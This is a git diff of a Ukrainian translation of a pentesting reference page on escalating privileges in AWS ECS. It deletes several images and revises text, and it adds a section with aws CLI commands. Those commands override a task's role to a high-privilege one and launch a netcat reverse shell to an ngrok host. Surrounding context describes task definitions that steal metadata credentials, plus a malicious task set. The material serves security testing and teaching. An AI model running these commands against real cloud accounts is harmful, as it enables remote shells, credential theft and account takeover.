diff --git a/src/images/image (135).png b/src/images/image (135).png deleted file mode 100644 index 0ec903dbf..000000000 Binary files a/src/images/image (135).png and /dev/null differ diff --git a/src/images/image (140).png b/src/images/image (140).png deleted file mode 100644 index 10337014b..000000000 Binary files a/src/images/image (140).png and /dev/null differ diff --git a/src/images/image (150).png b/src/images/image (150).png deleted file mode 100644 index 78b8cafaf..000000000 Binary files a/src/images/image (150).png and /dev/null differ diff --git a/src/images/image (178).png b/src/images/image (178).png deleted file mode 100644 index 8e9a8c2fb..000000000 Binary files a/src/images/image (178).png and /dev/null differ diff --git a/src/images/image (182).png b/src/images/image (182).png deleted file mode 100644 index ecc37ab54..000000000 Binary files a/src/images/image (182).png and /dev/null differ diff --git a/src/images/image (183).png b/src/images/image (183).png deleted file mode 100644 index d15ef1f36..000000000 Binary files a/src/images/image (183).png and /dev/null differ diff --git a/src/images/image (210).png b/src/images/image (210).png deleted file mode 100644 index 96c77e4fb..000000000 Binary files a/src/images/image (210).png and /dev/null differ diff --git a/src/images/image (222).png b/src/images/image (222).png deleted file mode 100644 index 4b08116d8..000000000 Binary files a/src/images/image (222).png and /dev/null differ diff --git a/src/images/image (251).png b/src/images/image (251).png deleted file mode 100644 index 536d3c291..000000000 Binary files a/src/images/image (251).png and /dev/null differ diff --git a/src/images/image (252).png b/src/images/image (252).png deleted file mode 100644 index f2f075bb9..000000000 Binary files a/src/images/image (252).png and /dev/null differ diff --git a/src/images/image (259).png b/src/images/image (259).png deleted file mode 100644 index 95cd08b61..000000000 Binary files a/src/images/image (259).png and /dev/null differ diff --git a/src/images/image (282).png b/src/images/image (282).png deleted file mode 100644 index d383c83f4..000000000 Binary files a/src/images/image (282).png and /dev/null differ diff --git a/src/images/image (31).png b/src/images/image (31).png deleted file mode 100644 index 0f975e105..000000000 Binary files a/src/images/image (31).png and /dev/null differ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md index f1c77917c..7f466a459 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md @@ -4,7 +4,7 @@ ## ECS -Більше **інформації про ECS** в: +Додаткова **інформація про ECS** у: {{#ref}} ../aws-services/aws-ecs-enum.md @@ -12,7 +12,7 @@ ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` -Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих і **запустити його**. +Зловмисник, який зловживає дозволами `iam:PassRole`, `ecs:RegisterTaskDefinition` та `ecs:RunTask` в ECS, може **створити новий task definition** з **шкідливим контейнером**, який викрадає облікові дані метаданих і **запустити його**. {{#tabs }} {{#tab name="Reverse Shell" }} @@ -39,7 +39,7 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#tab name="Webhook" }} -Створіть вебхук на сайті, як webhook.site +Створіть webhook на сайті на кшталт webhook.site ```bash # Create file container-definition.json @@ -75,12 +75,58 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1 {{#endtabs }} -**Потенційний вплив:** Пряме підвищення привілеїв до іншої ролі ECS. +**Потенційний вплив:** Direct privesc to a different ECS role. + +### `iam:PassRole`,`ecs:RunTask` +Зловмисник, який має дозволи `iam:PassRole` та `ecs:RunTask`, може запустити нове ECS завдання з зміненими значеннями **execution role**, **task role** та **command** контейнера. CLI-команда `ecs run-task` містить прапорець `--overrides`, який дозволяє змінювати під час виконання `executionRoleArn`, `taskRoleArn` та `command` контейнера без модифікації task definition. + +Вказані IAM ролі для `taskRoleArn` та `executionRoleArn` у політиці довіри повинні дозволяти їх бути assumed сервісом `ecs-tasks.amazonaws.com`. + +Крім того, зловмиснику потрібно знати: +- назву ECS кластера +- VPC Subnet +- Security group (If no security group is specified the default one will be used) +- назву Task Definition та ревізію +- назву контейнера +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +У наведеному вище фрагменті коду атакувальник змінює тільки значення `taskRoleArn`. Проте атакувальник повинен мати дозвіл `iam:PassRole` на `taskRoleArn`, вказаний у команді, і на `executionRoleArn`, вказаний у визначенні таска, щоб атака була можлива. + +Якщо IAM role, яку атакувальник може передати, має достатні привілеї для завантаження образу з ECR та запуску ECS таска (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), то атакувальник може вказати ту саму IAM role для обох `executionRoleArn` і `taskRoleArn` у команді `ecs run-task`. +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Можливий вплив:** Пряме privesc до будь-якої ECS task role. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` -Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **створити нове визначення завдання** з **шкідливим контейнером**, який краде облікові дані метаданих і **запустити його**.\ -Однак у цьому випадку потрібно, щоб контейнерна інстанція запустила шкідливе визначення завдання. +Як і в попередньому прикладі, зловмисник, що зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** в ECS, може **згенерувати нову task definition** з **malicious container**, яка викрадає metadata credentials і **запустити її**.\ +Однак у цьому випадку потрібен container instance для запуску malicious task definition. ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -96,11 +142,11 @@ aws ecs start-task --task-definition iam_exfiltration \ ## You need to remove all the versions (:1 is enough if you just created one) aws ecs deregister-task-definition --task-definition iam_exfiltration:1 ``` -**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі ECS. +**Potential Impact:** Прямий privesc до будь-якої ролі ECS. ### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` -Так само, як у попередньому прикладі, зловмисник, який зловживає дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **створити нову задачу** з **шкідливим контейнером**, який краде облікові дані метаданих, і **запустити її, створивши нову службу з принаймні 1 запущеною задачею.** +Як і в попередньому прикладі, атакуючий, зловживаючи дозволами **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** або **`ecs:CreateService`** в ECS, може **згенерувати нове визначення задачі** з **шкідливим контейнером**, який викрадає облікові дані метаданих, і **запустити його, створивши нову службу з принаймні 1 запущеним завданням.** ```bash # Generate task definition with rev shell aws ecs register-task-definition --family iam_exfiltration \ @@ -123,11 +169,11 @@ aws ecs update-service --cluster \ --service \ --task-definition ``` -**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі ECS. +**Potential Impact:** Прямий privesc до будь-якої ролі ECS. ### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` -Насправді, лише з цими дозволами можливо використовувати переопределення для виконання довільних команд у контейнері з довільною роллю за допомогою чогось на зразок: +Насправді, лише з цими дозволами можна використовувати overrides для виконання довільних команд у контейнері з довільною роллю приблизно так: ```bash aws ecs run-task \ --task-definition "" \ @@ -135,16 +181,16 @@ aws ecs run-task \ --cluster \ --network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" ``` -**Потенційний вплив:** Пряме підвищення привілеїв до будь-якої ролі ECS. +**Можливий вплив:** Direct privesc to any ECS role. ### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Цей сценарій схожий на попередні, але **без** дозволу **`iam:PassRole`**.\ -Це все ще цікаво, оскільки, якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **запустити привілейований контейнер, щоб втекти** на вузол і **вкрасти роль EC2 IAM** та **інші ролі контейнерів ECS**, що працюють на вузлі.\ -Ви навіть могли б **примусити інші завдання працювати всередині EC2 інстансу**, який ви скомпрометували, щоб вкрасти їхні облікові дані (як обговорювалося в [**Розділі підвищення привілеїв до вузла**](aws-ecs-privesc.md#privesc-to-node)). +Цей сценарій схожий на попередні, але **без** **`iam:PassRole`** дозволу.\ +Це все ще цікаво, тому що якщо ви можете запустити довільний контейнер, навіть якщо він без ролі, ви могли б **run a privileged container to escape** на вузол і **steal the EC2 IAM role** та **the other ECS containers roles**, що працюють на ньому.\ +Ви навіть можете **force other tasks to run inside the EC2 instance** яку ви скомпрометували, щоб викрасти їхні облікові дані (як обговорено в [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). > [!WARNING] -> Цей напад можливий лише якщо **ECS кластер використовує EC2** інстанси, а не Fargate. +> Ця атака можлива лише якщо **ECS cluster is using EC2** інстанси і не Fargate. ```bash printf '[ { @@ -187,10 +233,10 @@ aws ecs run-task --task-definition iam_exfiltration \ ``` ### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** -Зловмисник з **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та ексфільтрувати IAM роль, що до нього прикріплена (вам потрібні дозволи на опис, оскільки це необхідно для виконання `aws ecs execute-command`).\ -Однак, для цього екземпляр контейнера повинен працювати з **агентом ExecuteCommand** (який за замовчуванням не активований). +Зловмисник з правами **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** може **виконувати команди** всередині запущеного контейнера та екфільтрувати прикріплену до нього IAM роль (вам потрібні дозволи describe, оскільки вони необхідні для виконання `aws ecs execute-command`).\ +Однак, для цього інстанс контейнера має бути запущений з **ExecuteCommand agent** (за замовчуванням цього немає). -Отже, зловмисник може спробувати: +Тому зловмисник може спробувати: - **Спробувати виконати команду** в кожному запущеному контейнері ```bash @@ -210,18 +256,18 @@ aws ecs execute-command --interactive \ --cluster "$CLUSTER_ARN" \ --task "$TASK_ARN" ``` -- Якщо у нього є **`ecs:RunTask`**, запустіть задачу за допомогою `aws ecs run-task --enable-execute-command [...]` -- Якщо у нього є **`ecs:StartTask`**, запустіть задачу за допомогою `aws ecs start-task --enable-execute-command [...]` -- Якщо у нього є **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]` -- Якщо у нього є **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]` +- Якщо має **`ecs:RunTask`**, запустіть задачу за допомогою `aws ecs run-task --enable-execute-command [...]` +- Якщо має **`ecs:StartTask`**, запустіть задачу за допомогою `aws ecs start-task --enable-execute-command [...]` +- Якщо має **`ecs:CreateService`**, створіть сервіс за допомогою `aws ecs create-service --enable-execute-command [...]` +- Якщо має **`ecs:UpdateService`**, оновіть сервіс за допомогою `aws ecs update-service --enable-execute-command [...]` Ви можете знайти **приклади цих опцій** у **попередніх розділах ECS privesc**. -**Потенційний вплив:** Privesc до іншої ролі, прикріпленої до контейнерів. +**Potential Impact:** Privesc до іншої ролі, прикріпленої до контейнерів. ### `ssm:StartSession` -Перевірте на **сторінці ssm privesc**, як ви можете зловживати цим дозволом для **privesc до ECS**: +Перевірте на **ssm privesc page**, як можна зловживати цим дозволом, щоб **privesc to ECS**: {{#ref}} aws-ssm-privesc.md @@ -229,24 +275,26 @@ aws-ssm-privesc.md ### `iam:PassRole`, `ec2:RunInstances` -Перевірте на **сторінці ec2 privesc**, як ви можете зловживати цими дозволами для **privesc до ECS**: +Перевірте на **ec2 privesc page**, як можна зловживати цими дозволами, щоб **privesc to ECS**: {{#ref}} aws-ec2-privesc.md {{#endref}} -### `?ecs:RegisterContainerInstance` +### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` -TODO: Чи можливо зареєструвати екземпляр з іншого облікового запису AWS, щоб задачі виконувалися на машинах, контрольованих зловмисником?? +Attacker з цими дозволами потенційно може зареєструвати EC2 інстанс у ECS кластері та запускати завдання на ньому. Це могло б дозволити attacker виконувати довільний код у контексті завдань ECS. + +- TODO: Чи можливо зареєструвати інстанс з іншого AWS акаунту, щоб завдання виконувалися на машинах, контрольованих attacker?? ### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` > [!NOTE] -> TODO: Протестуйте це +> TODO: Протестувати це -Зловмисник з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` та `ecs:DescribeTaskSets` може **створити шкідливий набір задач для існуючого сервісу ECS та оновити основний набір задач**. Це дозволяє зловмиснику **виконувати довільний код у межах сервісу**. +Attacker з дозволами `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, та `ecs:DescribeTaskSets` може **create a malicious task set for an existing ECS service and update the primary task set**. Це дозволяє attacker **execute arbitrary code within the service**. ```bash -bashCopy code# Register a task definition with a reverse shell +# Register a task definition with a reverse shell echo '{ "family": "malicious-task", "containerDefinitions": [ @@ -270,7 +318,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service -- # Update the primary task set for the service aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id ``` -**Потенційний вплив**: Виконання довільного коду в ураженій службі, що може вплинути на її функціональність або ексфільтрувати чутливі дані. +**Потенційний вплив**: Виконання довільного коду в ураженому сервісі, що потенційно може вплинути на його функціональність або exfiltrating конфіденційних даних. ## Посилання